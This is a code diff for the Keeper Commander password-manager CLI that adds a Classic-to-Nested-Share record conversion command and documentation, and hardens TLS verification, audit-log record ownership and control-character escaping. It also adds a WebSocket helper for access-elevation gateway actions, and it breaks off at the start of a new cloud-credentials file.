diff --git a/NESTED_SHARE_FOLDER_COMMANDS.md b/NESTED_SHARE_FOLDER_COMMANDS.md index 03c6f6da7..998b5e6bf 100644 --- a/NESTED_SHARE_FOLDER_COMMANDS.md +++ b/NESTED_SHARE_FOLDER_COMMANDS.md @@ -15,9 +15,11 @@ To get help on a particular command, run: | `[nsf-rndir]` | Rename a folder or change its color | | `[nsf-list]` | List Nested Share Folders and Nested Share Records | | `[nsf-rmdir]` | Remove one or more Nested Share Folders | +| `[nsf-move]` | Move a Nested Share Record or Nested Share Folder to a new location | | `[nsf-share-folder]` | Grant or remove a user's access to a folder | | `[nsf-record-add]` | Create a new Nested Share Record | | `[nsf-record-update]` | Update an existing Nested Share Record | +| `[nsf-convert]` | Convert Classic record(s) to Nested Share Record(s) | | `[nsf-rm]` | Remove (trash or unlink) one or more Nested Share Records | | `[nsf-ln]` | Link a record into a Nested Share Folder | | `[nsf-shortcut]` | Manage records that appear in more than one folder | @@ -291,6 +293,38 @@ nsf-record-update -r rec123 -r rec456 -t "Shared Title" --- +### nsf-convert command: + +**Command:** `nsf-convert` + +**Detail:** Permanently convert up to 100 Classic records per request to Nested Share Records. Results are reported per record. Records already known to be Nested Share Records are skipped. + +**Parameters:** + +One or more Classic record UIDs, titles, or paths + +**Switches:** + +`--folder ` Existing Nested Share Folder UID, name, or path. Omit to target `Vault (root)`. + +`-f`, `--force` Skip the confirmation prompt + +**Important:** Conversion cannot be rolled back. Direct user shares are retained. Classic shared-folder membership and additional Classic folder placements are not retained. + +**Examples:** + +``` +nsf-convert abc123recorduid +nsf-convert abc123recorduid def456recorduid --folder "Projects/Archive" +nsf-convert abc123recorduid --folder "Projects/Archive" --force +``` + +1. Convert one Classic record to `Vault (root)`; review the warning and confirm when prompted. +2. Convert two Classic records to the `Projects/Archive` Nested Share Folder. +3. Convert one Classic record to `Projects/Archive` without a confirmation prompt. + +--- + ### nsf-rm command: **Command:** `nsf-rm` @@ -363,6 +397,32 @@ nsf-ln rec123abc abc123folder --- +### nsf-move command: + +**Command:** `nsf-move` + +**Detail:** Move a Nested Share Record or Nested Share Folder to another Nested Share Folder or to the Nested Share Folder root. Classic records and folders cannot be moved with this command. + +Folder moves are limited to five Nested Share Folder levels. Records can be moved into a folder at the maximum depth. + +**Parameters:** + +`src` Nested Share Record or Nested Share Folder UID, title/name, or path + +`dst` Destination Nested Share Folder UID, name, or path, or `root` + +**Examples:** + +``` +nsf-move "Client Portal" "Archive" +nsf-move "Old Projects" root +``` + +1. Move a Nested Share Record to the `Archive` folder. +2. Move a Nested Share Folder to the Nested Share Folder root. + +--- + ### nsf-shortcut command: **Command:** `nsf-shortcut` @@ -616,6 +676,7 @@ nsf-get rec123abc --format json --verbose | `nsf-rndir` | Rename / recolor a folder | | `nsf-list` | List folders and records | | `nsf-rmdir` | Remove folder(s) | +| `nsf-move` | Move a Nested Share Record or folder | | `nsf-share-folder` | Grant or remove folder access | @@ -626,6 +687,8 @@ nsf-get rec123abc --format json --verbose | ------------------ | ----------------------------------------------- | | `nsf-record-add` | Create a record | | `nsf-record-update` | Update a record | +| `nsf-convert` | Convert Classic record(s) to Nested Share Record(s) | +| `nsf-move` | Move a Nested Share Record or folder | | `nsf-rm` | Remove / trash / unlink a record | | `nsf-ln` | Link a record into a folder | | `nsf-shortcut list` | List multi-folder records | @@ -709,6 +772,28 @@ nsf-rmdir "Old Archive" nsf-rmdir "Old Archive" --operation delete-permanent --force ``` +### Move a Nested Share Record or folder + +```bash +# Move a record into another folder +nsf-move "Client Portal" "Archive" + +# Move a folder to the Nested Share Folder root +nsf-move "Old Projects" root +``` + +### Convert Classic records + +```bash +# Convert one record to Vault (root) +nsf-convert abc123recorduid + +# Convert multiple records into an existing Nested Share Folder +nsf-convert abc123recorduid def456recorduid --folder "Projects/Archive" +``` + +Review the permanent-conversion warning and record list, then confirm when prompted. Use `--force` to skip the prompt. + ### Bulk-revoke permissions across a folder tree ```bash @@ -740,4 +825,3 @@ Both `--expire-at` and `--expire-in` are accepted by `nsf-share-folder` and `nsf --- --- - diff --git a/keepercommander/__init__.py b/keepercommander/__init__.py index a67172dfa..7743d31aa 100644 --- a/keepercommander/__init__.py +++ b/keepercommander/__init__.py @@ -10,4 +10,4 @@ # Contact: commander@keepersecurity.com # -__version__ = '18.1.6' +__version__ = '18.1.7' diff --git a/keepercommander/command_categories.py b/keepercommander/command_categories.py index 6a11188d8..a61942beb 100644 --- a/keepercommander/command_categories.py +++ b/keepercommander/command_categories.py @@ -116,7 +116,8 @@ 'nsf-mkdir', 'nsf-record-add', 'nsf-record-update', 'nsf-rndir', 'nsf-list', 'nsf-share-folder', 'nsf-record-details', 'nsf-share-record', 'nsf-record-permission', 'nsf-transfer-record', - 'nsf-ln', 'nsf-rm', 'nsf-rmdir', 'nsf-shortcut', 'nsf-get', 'nsf-move' + 'nsf-ln', 'nsf-rm', 'nsf-rmdir', 'nsf-shortcut', 'nsf-get', 'nsf-move', + 'nsf-convert', }, # Legacy Commands diff --git a/keepercommander/commands/aram.py b/keepercommander/commands/aram.py index 3a0a3d99f..ce9cf1fb4 100644 --- a/keepercommander/commands/aram.py +++ b/keepercommander/commands/aram.py @@ -339,6 +339,19 @@ def load_syslog_templates(params): syslog_templates[name] = syslog +def _is_owned_audit_log_record(params: KeeperParams, record_uid: str) -> bool: + """True if the current account owns this record. + + Uses ``record_owner_cache`` first, then ``meta_data_cache`` from + recordMetaData (server-asserted). Unknown ownership fails closed. + """ + owner = (params.record_owner_cache or {}).get(record_uid) + if owner and owner.owner: + return True + meta = (getattr(params, 'meta_data_cache', None) or {}).get(record_uid) or {} + return bool(meta.get('owner')) + + class AuditLogBaseExport(abc.ABC): def __init__(self): self.store_record = False @@ -494,7 +507,7 @@ def get_properties(self, record, props): for test_url in ['https://{0}/services/collector'.format(address), 'http://{0}/services/collector'.format(address)]: try: print('Testing \'{0}\' ...'.format(test_url), file=sys.stderr, end='', flush=True) - rs = requests.post(test_url, json='', verify=False) + rs = requests.post(test_url, json='') if rs.status_code == 401: js = rs.json() if 'code' in js: @@ -519,7 +532,7 @@ def get_properties(self, record, props): return try: auth={'Authorization': 'Splunk {0}'.format(test_token)} - rs = requests.post(url, json='', headers=auth, verify=False) + rs = requests.post(url, json='', headers=auth) if rs.status_code == 400: js = rs.json() if 'code' in js: @@ -553,7 +566,7 @@ def export_events(self, props, events): auth = { 'Authorization': 'Splunk {0}'.format(props['token']) } try: logging.captureWarnings(True) - rs = requests.post(props['hec_url'], data='\n'.join(events), headers=auth, verify=False) + rs = requests.post(props['hec_url'], data='\n'.join(events), headers=auth) finally: logging.captureWarnings(False) @@ -942,7 +955,11 @@ def execute(self, params, **kwargs): for r_uid in params.record_cache: rec = vault.KeeperRecord.load(params, r_uid) if record_name in [rec.record_uid, rec.title]: + if not _is_owned_audit_log_record(params, r_uid): + print(f'Note: Record "{rec.title}" is not owned by you and will not be used.') + continue record = rec + break if record is None: answer = user_choice('Do you want to create a Keeper record to store audit log settings?', 'yn', 'n') if answer.lower() == 'y': @@ -957,6 +974,8 @@ def execute(self, params, **kwargs): if record is None: raise CommandError('audit-log', 'Record not found') + print(f'Export Destination: "{record.title}" ({record.record_uid})') + shared_folder_uids = kwargs.get('shared_folder_uid') node_ids = kwargs.get('node_id') days = kwargs.get('days') diff --git a/keepercommander/commands/connect_prompts.py b/keepercommander/commands/connect_prompts.py index d3cd66760..0b023f10e 100644 --- a/keepercommander/commands/connect_prompts.py +++ b/keepercommander/commands/connect_prompts.py @@ -89,10 +89,31 @@ def _bold_cyan(s: str) -> str: return _c('1;36', s) def _sanitize(text: Optional[str]) -> str: - """Strip C0/C1 control characters (incl. ESC) from attacker-supplied text.""" + """Escape C0/C1 control characters (incl. ESC) from attacker-supplied text. + + Renders each control character as a visible escape sequence so that + (1) the prompt accurately represents what will execute and (2) a newline + cannot be hidden inside a comment, making two statements render identically. + """ if not isinstance(text, str): return '' - return _CONTROL_CHAR_RE.sub('', text) + + def escape_ctrl(m): + c = m.group(0) + code = ord(c) + if c == '\n': + return '\\n' + elif c == '\t': + return '\\t' + elif c == '\r': + return '\\r' + elif code < 0x20: + return f'\\x{code:02x}' + elif 0x7f <= code < 0xa0: + return f'\\x{code:02x}' + return c + + return _CONTROL_CHAR_RE.sub(escape_ctrl, text) def _is_interpreter(prog: Optional[str]) -> bool: @@ -143,7 +164,15 @@ def _looks_multi_statement(arg: str) -> bool: def split_shell_statements(script: Optional[str]) -> List[str]: - """Split a shell-script into top-level statements""" + """Split a shell-script into top-level statements. + + Handles: + - Single/double quoted strings (quote escaping) + - Escaped characters (backslash) + - Shell statement separators (; \n && ||) + - Comments (#) — # only starts a comment when it begins a word + (at line start or preceded by whitespace) + """ if not script: return [] @@ -159,6 +188,13 @@ def flush() -> None: parts.append(stmt) buf.clear() + def is_word_boundary(pos: int) -> bool: + """True if position is at the start of a shell word (start of line or after whitespace).""" + if pos == 0: + return True + prev_char = script[pos - 1] + return prev_char in (' ', '\t', '\n', ';', '&', '|', '(', ')') + while i < n: c = script[i] if escaped: @@ -174,6 +210,11 @@ def flush() -> None: elif c in ('"', "'"): quote = c buf.append(c) + elif c == '#' and quote is None and is_word_boundary(i): + # Comment: skip until newline (only if # starts a word) + while i < n and script[i] != '\n': + i += 1 + continue elif c in ('\n', ';'): flush() elif c in ('&', '|') and i + 1 < n and script[i + 1] == c: diff --git a/keepercommander/commands/discoveryrotation.py b/keepercommander/commands/discoveryrotation.py index f8aee46fe..2d50de79a 100644 --- a/keepercommander/commands/discoveryrotation.py +++ b/keepercommander/commands/discoveryrotation.py @@ -86,6 +86,7 @@ from .pam.cnapp_commands import PAMCnappCommand from .pam_import.commands import PAMProjectCommand from keepercommander.commands.pam_cloud.pam_privileged_access import PAMPrivilegedAccessCommand +from keepercommander.commands.pam_cloud.pam_cloud_credentials import PAMCloudCommand from .pam_launch.launch import PAMLaunchCommand from .workflow import PAMWorkflowCommand from .pam_service.list import PAMActionServiceListCommand @@ -325,6 +326,7 @@ def __init__(self): self.register_command('universal-sync-run', PAMUniversalSyncRunCommand(), 'Run Universal Sync', 'usr') self.register_command('cnapp', PAMCnappCommand(), 'Manage CNAPP integrations', 'cn') self.register_command('recording', PAMRecordingCommand(), 'Manage PAM Session Recordings', 'rec') + self.register_command('cloud', PAMCloudCommand(), 'Manage PAM cloud resource access', 'cl') class PAMGatewayCommand(GroupCommand): diff --git a/keepercommander/commands/nested_share_folder/__init__.py b/keepercommander/commands/nested_share_folder/__init__.py index 943e74af4..e83ca2005 100644 --- a/keepercommander/commands/nested_share_folder/__init__.py +++ b/keepercommander/commands/nested_share_folder/__init__.py @@ -60,6 +60,11 @@ NestedShareGetCommand, ) +# Classic-to-Nested Share conversion +from .conversion_commands import ( # noqa: F401 + NestedShareConvertCommand, +) + def register_commands(commands): """Register Nested Share Folder commands with the command framework.""" @@ -79,6 +84,7 @@ def register_commands(commands): commands['nsf-shortcut'] = NestedShareRecordShortcutCommand() commands['nsf-get'] = NestedShareGetCommand() commands['nsf-move'] = NestedSharedMoveCommander() + commands['nsf-convert'] = NestedShareConvertCommand() def register_command_info(aliases, command_info): @@ -99,3 +105,4 @@ def register_command_info(aliases, command_info): command_info['nsf-shortcut'] = 'Manage Nested Share Record shortcuts' command_info['nsf-get'] = 'Get details of a Nested Share Record or folder' command_info['nsf-move'] = 'Move a Nested Share Record or folder to a new location' + command_info['nsf-convert'] = 'Convert Classic records to Nested Share Records' diff --git a/keepercommander/commands/nested_share_folder/conversion_commands.py b/keepercommander/commands/nested_share_folder/conversion_commands.py new file mode 100644 index 000000000..d963f1eb3 --- /dev/null +++ b/keepercommander/commands/nested_share_folder/conversion_commands.py @@ -0,0 +1,229 @@ +"""Command for converting Classic records to Nested Share Records.""" + +import json +import logging + +from ..base import Command, RecordMixin, user_choice +from ... import nested_share_folder as _nsf +from ...display import bcolors +from ...error import CommandError +from .helpers import ROOT_FOLDER_UID, command_error_handler +from .parsers import nested_share_convert_parser + +_STATUS_MESSAGES = { + 'ENTERPRISE_NOT_KEEPER_DRIVE_ENABLED': + 'Nested Share Folders are not enabled for this account', + 'NOT_RECORD_OWNER': 'The caller does not own this record', + 'RECORD_NOT_FOUND': 'No active owner record was found', + 'RECORD_ALREADY_CONVERTED': 'The record is already a Nested Share Record', + 'FOLDER_ACCESS_DENIED': 'The caller cannot add records to the destination folder', + 'INVALID_FOLDER_KEY': 'The destination-folder encrypted key is invalid', + 'INVALID_OWNER_KEY': 'The owner encrypted key is invalid', + 'RECORD_NOT_LEGACY': 'The record is not a Classic record', + 'TARGET_NOT_DRIVE_FOLDER': 'The destination is not a Nested Share Folder', + 'RECORD_LINK_CHILD_NOT_OWNED': 'A linked child record is not owned by the caller', + 'RECORD_LINK_PARENT_NOT_OWNED': 'A linked parent record is not owned by the caller', + 'RECORD_LINK_RECORD_IN_TRASH': "A linked record is in the caller's trash", + 'INTERNAL_ERROR': 'The server could not complete the conversion', + 'RECORD_LINK_CHILD_NOT_INCLUDED': 'A linked Classic record must also be included', + 'RECORD_LINK_FILE_PROMOTION_FAILED': 'A linked file attachment could not be promoted', + 'RECORD_LINK_COMPONENT_FAILED': 'A related record failed; this record was rolled back', + 'RECORD_VERSION_NOT_CONVERTIBLE': 'The record version cannot be converted', +} + + +def _resolve_record_uid(params, identifier): + """Resolve a UID or use Commander's normal current-folder/path resolution.""" + if not identifier: + return None + + record_cache = getattr(params, 'record_cache', {}) or {} + nested_share_records = getattr(params, 'nested_share_records', {}) or {} + if identifier in nested_share_records: + return identifier + if identifier in record_cache: + return identifier + + record = RecordMixin.resolve_single_record(params, identifier) + return record.record_uid if record else None + + +def _record_title(params, record_uid): + record = (getattr(params, 'record_cache', {}) or {}).get(record_uid) or {} + raw_data = record.get('data_unencrypted') + if not raw_data: + return None + try: + if isinstance(raw_data, bytes): + raw_data = raw_data.decode('utf-8') + data = json.loads(raw_data) if isinstance(raw_data, str) else raw_data + except (TypeError, ValueError): + return None + title = data.get('title') if isinstance(data, dict) else None + if not isinstance(title, str) or not title: + return None + return title + + +def _resolve_target_folder(params, folder_input): + """Resolve a Nested Share Folder; omitted/root means the caller's root.""" + if not folder_input or folder_input.casefold() in ('root', ROOT_FOLDER_UID.casefold()): + return None + + folder_uid = _nsf.resolve_folder_identifier(params, folder_input) + if not folder_uid: + raise CommandError('nsf-convert', f"Folder '{folder_input}' was not found") + if folder_uid not in (getattr(params, 'nested_share_folders', {}) or {}): + raise CommandError( + 'nsf-convert', + f"'{folder_input}' is not a Nested Share Folder") + return folder_uid + + +class NestedShareConvertCommand(Command): + """Convert one or more Classic records into Nested Share Records.""" + + def get_parser(self): + return nested_share_convert_parser + + def execute(self, params, **kwargs): + identifiers = kwargs.get('records') or [] + if isinstance(identifiers, str): + identifiers = [identifiers] + if not identifiers: + raise CommandError('nsf-convert', 'At least one record is required') + + record_uids = [] + already_nested_share_uids = [] + nested_share_records = getattr(params, 'nested_share_records', {}) or {} + seen_record_uids = set() + for identifier in identifiers: + with command_error_handler('nsf-convert'): + record_uid = _resolve_record_uid(params, identifier) + if not record_uid: + raise CommandError('nsf-convert', f"Record '{identifier}' was not found") + if record_uid in seen_record_uids: + raise CommandError( + 'nsf-convert', + 'The same record was selected more than once; remove duplicate records') + seen_record_uids.add(record_uid) + if record_uid in nested_share_records: + already_nested_share_uids.append(record_uid) + else: + record_uids.append(record_uid) + + if len(record_uids) > _nsf.MAX_CONVERT_RECORDS: + raise CommandError( + 'nsf-convert', + f"Maximum {_nsf.MAX_CONVERT_RECORDS} Classic records per request") + + for record_uid in already_nested_share_uids: + logging.info( + 'Record "%s" is already a Nested Share Record; skipped.', record_uid) + if not record_uids: + logging.info('No Classic records remain to convert.') + return + + with command_error_handler('nsf-convert'): + folder_uid = _resolve_target_folder(params, kwargs.get('folder_uid')) + folder_description = folder_uid or 'Vault (root)' + if folder_uid: + folder_data = (getattr(params, 'nested_share_folders', {}) or {}).get(folder_uid) or {} + folder_name = folder_data.get('name') or folder_uid + if folder_name != folder_uid: + folder_description = f'{folder_name} ({folder_uid})' + print( + f'\n{bcolors.WARNING}Warning: Conversion is permanent. ' + 'Classic shared-folder membership and additional Classic folder ' + 'placements are not retained.' + f'{bcolors.ENDC}') + print(f'Records to convert ({len(record_uids)}):') + for record_uid in record_uids: + title = _record_title(params, record_uid) + if title: + quoted_title = json.dumps(title, ensure_ascii=False) + quoted_title = ''.join( + char if char.isprintable() else f'\\u{ord(char):04x}' + for char in quoted_title) + label = f'{quoted_title} ({record_uid})' + else: + label = record_uid + print(f' {label}') + print(f'Destination: {folder_description}') + + if not kwargs.get('force'): + if user_choice( + 'Do you want to proceed with conversion?', 'yn', default='n').lower() != 'y': + logging.info('Conversion cancelled.') + return + + with command_error_handler('nsf-convert'): + results = _nsf.convert_records_v3( + params, record_uids=record_uids, folder_uid=folder_uid) + if not results: + logging.warning( + 'No conversion results were returned; the vault will be refreshed.') + params.sync_data = True + return + + requested_uids = set(record_uids) + result_by_uid = {} + duplicate_uids = set() + unexpected_result_count = 0 + for result in results: + result_uid = result['record_uid'] + if result_uid not in requested_uids: + unexpected_result_count += 1 + continue + if result_uid in duplicate_uids: + continue + if result_uid in result_by_uid: + duplicate_uids.add(result_uid) + result_by_uid.pop(result_uid) + continue + result_by_uid[result_uid] = result + + if duplicate_uids: + logging.warning( + 'The conversion endpoint returned duplicate results for %d record(s).', + len(duplicate_uids)) + if unexpected_result_count: + logging.warning( + 'The conversion endpoint returned %d result(s) for unrequested records.', + unexpected_result_count) + + converted = 0 + missing_results = False + for record_uid in record_uids: + if record_uid in duplicate_uids: + logging.warning( + 'The conversion result for Classic record "%s" is ambiguous.', record_uid) + missing_results = True + continue + result = result_by_uid.get(record_uid) + if result is None: + logging.warning( + 'No conversion result was returned for Classic record "%s".', record_uid) + missing_results = True + continue + status = result['status'] + if result['success']: + converted += 1 + logging.info( + 'Classic record "%s" converted to a Nested Share Record.', record_uid) + else: + message = _STATUS_MESSAGES.get(status, status.replace('_', ' ').title()) + logging.warning( + 'Classic record "%s" was not converted: %s.', record_uid, message) + logging.debug('Conversion status for record %s: %s', record_uid, status) + + if converted or missing_results or unexpected_result_count: + if getattr(params, 'service_mode', False): + from ..pam_import.nsf_helpers import sync_down_preserving_nsf_keys + sync_down_preserving_nsf_keys(params) + else: + params.sync_data = True + logging.info( + 'Conversion complete: %d of %d Classic record(s) converted; ' + '%d already Nested Share Record(s) skipped.', + converted, len(record_uids), len(already_nested_share_uids)) diff --git a/keepercommander/commands/nested_share_folder/display_commands.py b/keepercommander/commands/nested_share_folder/display_commands.py index 037cf5fe5..54df4ef10 100644 --- a/keepercommander/commands/nested_share_folder/display_commands.py +++ b/keepercommander/commands/nested_share_folder/display_commands.py @@ -96,11 +96,13 @@ def get_parser(self): return nested_share_get_parser def execute(self, params, **kwargs): - uid = (kwargs.get('uid') or '').strip() - fmt = kwargs.get('format') or 'detail' - verbose = kwargs.get('verbose', False) - unmask = kwargs.get('unmask', False) - include_dag = kwargs.get('include_dag', False) + uid = (kwargs.get('uid') or '').strip() + fmt = kwargs.get('format') or 'detail' + verbose = kwargs.get('verbose', False) + unmask = kwargs.get('unmask', False) + include_dag = kwargs.get('include_dag', False) + show_inherited = kwargs.get('show_inherited', False) + show_denied = kwargs.get('show_denied', False) if not uid: raise CommandError('nsf-get', 'UID parameter is required') @@ -122,9 +124,11 @@ def execute(self, params, **kwargs): resolved, ) if fmt == 'json': - self._record_json(params, resolved, verbose, unmask, include_dag=include_dag) + self._record_json(params, resolved, verbose, unmask, include_dag=include_dag, + show_inherited=show_inherited, show_denied=show_denied) else: - self._record_detail(params, resolved, verbose, unmask) + self._record_detail(params, resolved, verbose, unmask, + show_inherited=show_inherited, show_denied=show_denied) return raise CommandError('nsf-get', f'Cannot find any Nested Share Folder object with UID or title: {uid}') @@ -172,7 +176,8 @@ def _resolve_as_record(params, uid): # ── Record display ──────────────────────────────────────────────── - def _record_detail(self, params, record_uid, verbose, unmask): + def _record_detail(self, params, record_uid, verbose, unmask, + show_inherited=False, show_denied=False): # SECURITY: this method MUST only emit field values through ``print`` # (stdout). Never pass unmasked record content to ``logging.*`` — # operators frequently configure file/syslog handlers that would @@ -206,7 +211,8 @@ def _record_detail(self, params, record_uid, verbose, unmask): for i, line in enumerate(meta['notes'].split('\n')): print('{0:>21s} {1}'.format('Notes:' if i == 0 else '', line.strip())) - self._print_record_permissions(params, record_uid, verbose) + self._print_record_permissions(params, record_uid, verbose, + show_inherited=show_inherited, show_denied=show_denied) def _print_typed_fields(self, fields, unmask, skip_types=()): for f in fields or []: @@ -242,7 +248,8 @@ def _extract_field_value(fields, field_type): ', '.join(f'{k}: {v}' for k, v in val.items() if v) return '' - def _record_json(self, params, record_uid, verbose, _unmask=False, include_dag=False): + def _record_json(self, params, record_uid, verbose, _unmask=False, include_dag=False, + show_inherited=False, show_denied=False): meta = load_record_metadata(params, record_uid) ro = { 'record_uid': record_uid, 'title': meta['title'], @@ -261,6 +268,8 @@ def _record_json(self, params, record_uid, verbose, _unmask=False, include_dag=F try: accesses = _nsf.get_record_accesses_v3( params, [record_uid]).get('record_accesses', []) + accesses = _nsf.filter_record_accesses( + accesses, show_inherited=show_inherited, show_denied=show_denied) if accesses: user_perms = [] for a in accesses: @@ -301,11 +310,14 @@ def _record_json(self, params, record_uid, verbose, _unmask=False, include_dag=F print(json.dumps(ro, indent=2)) @staticmethod - def _print_record_permissions(params, record_uid, verbose): + def _print_record_permissions(params, record_uid, verbose, + show_inherited=False, show_denied=False): """Display record permissions in a format similar to the legacy get command.""" try: accesses = _nsf.get_record_accesses_v3( params, [record_uid]).get('record_accesses', []) + accesses = _nsf.filter_record_accesses( + accesses, show_inherited=show_inherited, show_denied=show_denied) if not accesses: return diff --git a/keepercommander/commands/nested_share_folder/parsers.py b/keepercommander/commands/nested_share_folder/parsers.py index 1baffaf40..f26adaa0f 100644 --- a/keepercommander/commands/nested_share_folder/parsers.py +++ b/keepercommander/commands/nested_share_folder/parsers.py @@ -371,6 +371,12 @@ def _make_parser(prog, description): nested_share_get_parser.add_argument( '--include-dag', dest='include_dag', action='store_true', default=False, help='Include DAG/GraphSync information in json output (PAM record types only)') +nested_share_get_parser.add_argument( + '--show-inherited', dest='show_inherited', action='store_true', default=False, + help='Include inherited (folder-level) permission entries in the accessor list (hidden by default)') +nested_share_get_parser.add_argument( + '--show-denied', dest='show_denied', action='store_true', default=False, + help='Include denied-access permission entries in the accessor list (hidden by default)') # ══════════════════════════════════════════════════════════════════════════ @@ -385,4 +391,24 @@ def _make_parser(prog, description): nested_share_move_parser.add_argument( 'dst', type=str, help="Destination folder UID/title/path, or 'root' for the Nested " - "Share Folder root") \ No newline at end of file + "Share Folder root") + + +# ══════════════════════════════════════════════════════════════════════════ +# Classic-to-Nested Share conversion parser +# ══════════════════════════════════════════════════════════════════════════ + +nested_share_convert_parser = _make_parser( + 'nsf-convert', + 'Convert Classic record(s) to Nested Share Record(s). Conversion is permanent.') +nested_share_convert_parser.add_argument( + 'records', nargs='+', metavar='RECORD', + help='Classic record UID(s), title(s), or path(s) to convert ' + '(maximum 100 Classic records per request)') +nested_share_convert_parser.add_argument( + '--folder', dest='folder_uid', metavar='FOLDER', + help='Existing Nested Share Folder UID/name/path. ' + 'Omit to target Vault (root).') +nested_share_convert_parser.add_argument( + '-f', '--force', dest='force', action='store_true', + help='Skip the confirmation prompt') diff --git a/keepercommander/commands/pam/router_helper.py b/keepercommander/commands/pam/router_helper.py index 7c40f030e..40aa9bf3b 100644 --- a/keepercommander/commands/pam/router_helper.py +++ b/keepercommander/commands/pam/router_helper.py @@ -1,6 +1,9 @@ +import asyncio import json import logging import os +import ssl +import threading from datetime import datetime import requests @@ -15,7 +18,7 @@ from .. import base from ... import crypto, utils, rest_api from ...display import bcolors -from ...error import KeeperApiError +from ...error import CommandError, KeeperApiError from ...params import KeeperParams from ...proto import pam_pb2, router_pb2 @@ -709,5 +712,175 @@ def encrypt_pwd_complexity(rule_list_dict, record_key_unencrypted): rule_list_json = json.dumps(rule_list_dict) rule_list_json_bytes = rule_list_json.encode('UTF-8') rule_list_json_encrypted = crypto.encrypt_aes_v2(rule_list_json_bytes, record_key_unencrypted) - return rule_list_json_encrypted + + +def _parse_access_elevation_frame(raw): + """Unwrap a krouter-relayed gateway response frame off the user's WebSocket and return its + `data` dict, or None if `raw` isn't a terminal ACCESS_ELEVATION response.""" + try: + obj = json.loads(raw) + except Exception: + return None + if not isinstance(obj, dict): + return None + + candidates = [obj] + payload_field = obj.get('payload') + if isinstance(payload_field, str): + try: + candidates.append(json.loads(payload_field)) + except Exception: + pass + + for cand in candidates: + if not isinstance(cand, dict): + continue + data = cand.get('data', cand) + if isinstance(data, str): + try: + data = json.loads(data) + except Exception: + continue + if isinstance(data, dict) and ('success' in data or 'error' in data): + return data + return None + + +class _AccessElevationSocket: + """Short-lived WebSocket to /api/user/client. Required because rm-grant-temporary-access-token + (currently the only ACCESS_ELEVATION action allowed through the generic dispatch endpoint) + relays its terminal response over the caller's own open socket instead of the HTTP response -- + krouter rejects the request outright if streamResponse=true but no socket is open.""" + + def __init__(self, params, router_tokens, cookie_header): + from ..tunnel.port_forward.tunnel_helpers import WEBSOCKETS_VERSION, websockets_connect + if WEBSOCKETS_VERSION is None: + raise CommandError('', 'The websockets library is required for this action.') + + encrypted_session_token, encrypted_transmission_key, _ = router_tokens + self._connect = websockets_connect + self._version = WEBSOCKETS_VERSION + self.url = get_router_ws_url(params) + '/api/user/client' + self.headers = { + 'TransmissionKey': bytes_to_base64(encrypted_transmission_key), + 'Authorization': f'KeeperUser {bytes_to_base64(encrypted_session_token)}', + } + if cookie_header: + self.headers['Cookie'] = cookie_header + self._ssl_context = None + if self.url.startswith('wss://'): + self._ssl_context = ssl.create_default_context() + if params.ssl_verify is False: + self._ssl_context.check_hostname = False + self._ssl_context.verify_mode = ssl.CERT_NONE + self._data = None + self._ready = threading.Event() + self._done = threading.Event() + self._stop = threading.Event() + self._thread = threading.Thread(target=self._run, daemon=True, name='access-elevation-socket') + + def _run(self): + try: + asyncio.run(self._listen()) + except Exception as e: + logging.debug('Access elevation socket listener exited: %r', e) + finally: + self._ready.set() + self._done.set() + + async def _listen(self): + # Mirrors tunnel_helpers.connect_websocket_with_fallback's version handling, trimmed to a + # plain message loop -- that function's own loop is wired to the WebRTC tube registry and + # isn't reusable for a one-off terminal-frame read. + header_kwarg = 'additional_headers' if self._version == 'asyncio' else 'extra_headers' + connect_kwargs = {header_kwarg: self.headers, 'ping_interval': 20, 'ping_timeout': 20} + async with self._connect(self.url, ssl=self._ssl_context, **connect_kwargs) as ws: + self._ready.set() + while not self._stop.is_set(): + try: + msg = await asyncio.wait_for(ws.recv(), timeout=1.0) + except asyncio.TimeoutError: + continue + except Exception: + break + data = _parse_access_elevation_frame(msg) + if data is not None: + self._data = data + self._done.set() + break + + def start(self, timeout=10): + self._thread.start() + if not self._ready.wait(timeout=timeout): + raise CommandError('', f'Timed out opening a WebSocket to {self.url}') + + def stop(self): + self._stop.set() + self._thread.join(timeout=5) + + def drain_terminal_response(self, timeout=90): + return self._data if self._done.wait(timeout=timeout) else None + + +def dispatch_streamed_access_elevation_action(params, gateway_action, destination_gateway_uid_str=None, timeout=90): + """Dispatch an ACCESS_ELEVATION gateway action that requires streamResponse=true (currently + only rm-grant-temporary-access-token) and return the parsed terminal frame's `data` dict. + + Opens a short-lived socket to /api/user/client first (see _AccessElevationSocket), binds the + HTTP dispatch to the same krouter worker for ALB stickiness, then sends the action with + is_streaming=True and waits for the result to arrive over the socket. Raises CommandError on + missing/ambiguous gateway, transport failure, or timeout. + """ + from ..tunnel.port_forward.tunnel_helpers import get_keeper_tokens + + if not destination_gateway_uid_str: + connected = router_get_connected_gateways(params) + controllers = list(connected.controllers) if connected else [] + if not controllers: + raise CommandError('', 'No connected Gateways in your enterprise.') + if len(controllers) == 1: + destination_gateway_uid_str = utils.base64_url_encode(controllers[0].controllerUid) + elif gateway_action.gateway_destination: + destination_gateway_uid_str = utils.base64_url_encode( + gateway_helper.find_connected_gateways( + [c.controllerUid for c in controllers], gateway_action.gateway_destination)) + else: + raise CommandError('', 'More than one Gateway is connected; specify --gateway.') + + router_tokens = get_keeper_tokens(params) + encrypted_session_token, encrypted_transmission_key, transmission_key = router_tokens + + http_session = requests.Session() + try: + bind_url = get_router_url(params) + '/api/user/bind_to_controller/' + destination_gateway_uid_str + http_session.get(bind_url, verify=params.ssl_verify, timeout=10) + except Exception as e: + logging.debug('bind_to_controller GET failed (continuing): %s', e) + cookie_header = ('; '.join(f'{c.name}={c.value}' for c in http_session.cookies) + if http_session.cookies else None) + + socket = _AccessElevationSocket(params, router_tokens, cookie_header) + socket.start() + try: + response = router_send_action_to_gateway( + params=params, + gateway_action=gateway_action, + message_type=pam_pb2.CMT_WORKFLOW_ACCESS_ELEVATION, + is_streaming=True, + destination_gateway_uid_str=destination_gateway_uid_str, + gateway_timeout=timeout * 1000, + transmission_key=transmission_key, + encrypted_transmission_key=encrypted_transmission_key, + encrypted_session_token=encrypted_session_token, + http_session=http_session, + ) + if response is None: + raise CommandError('', 'The Gateway did not respond.') + data = socket.drain_terminal_response(timeout=timeout) + finally: + socket.stop() + + if data is None: + raise CommandError('', 'Timed out waiting for the Gateway response.') + return data diff --git a/keepercommander/commands/pam_cloud/pam_cloud_credentials.py b/keepercommander/commands/pam_cloud/pam_cloud_credentials.py new file mode 100644 index 000000000..374d5be87 --- /dev/null +++ b/keepercommander/commands/pam_cloud/pam_cloud_credentials.py @@ -0,0 +1,180 @@ +import argparse +import base64 +import json +import logging + +from keepercommander.commands.base import Command, GroupCommand, 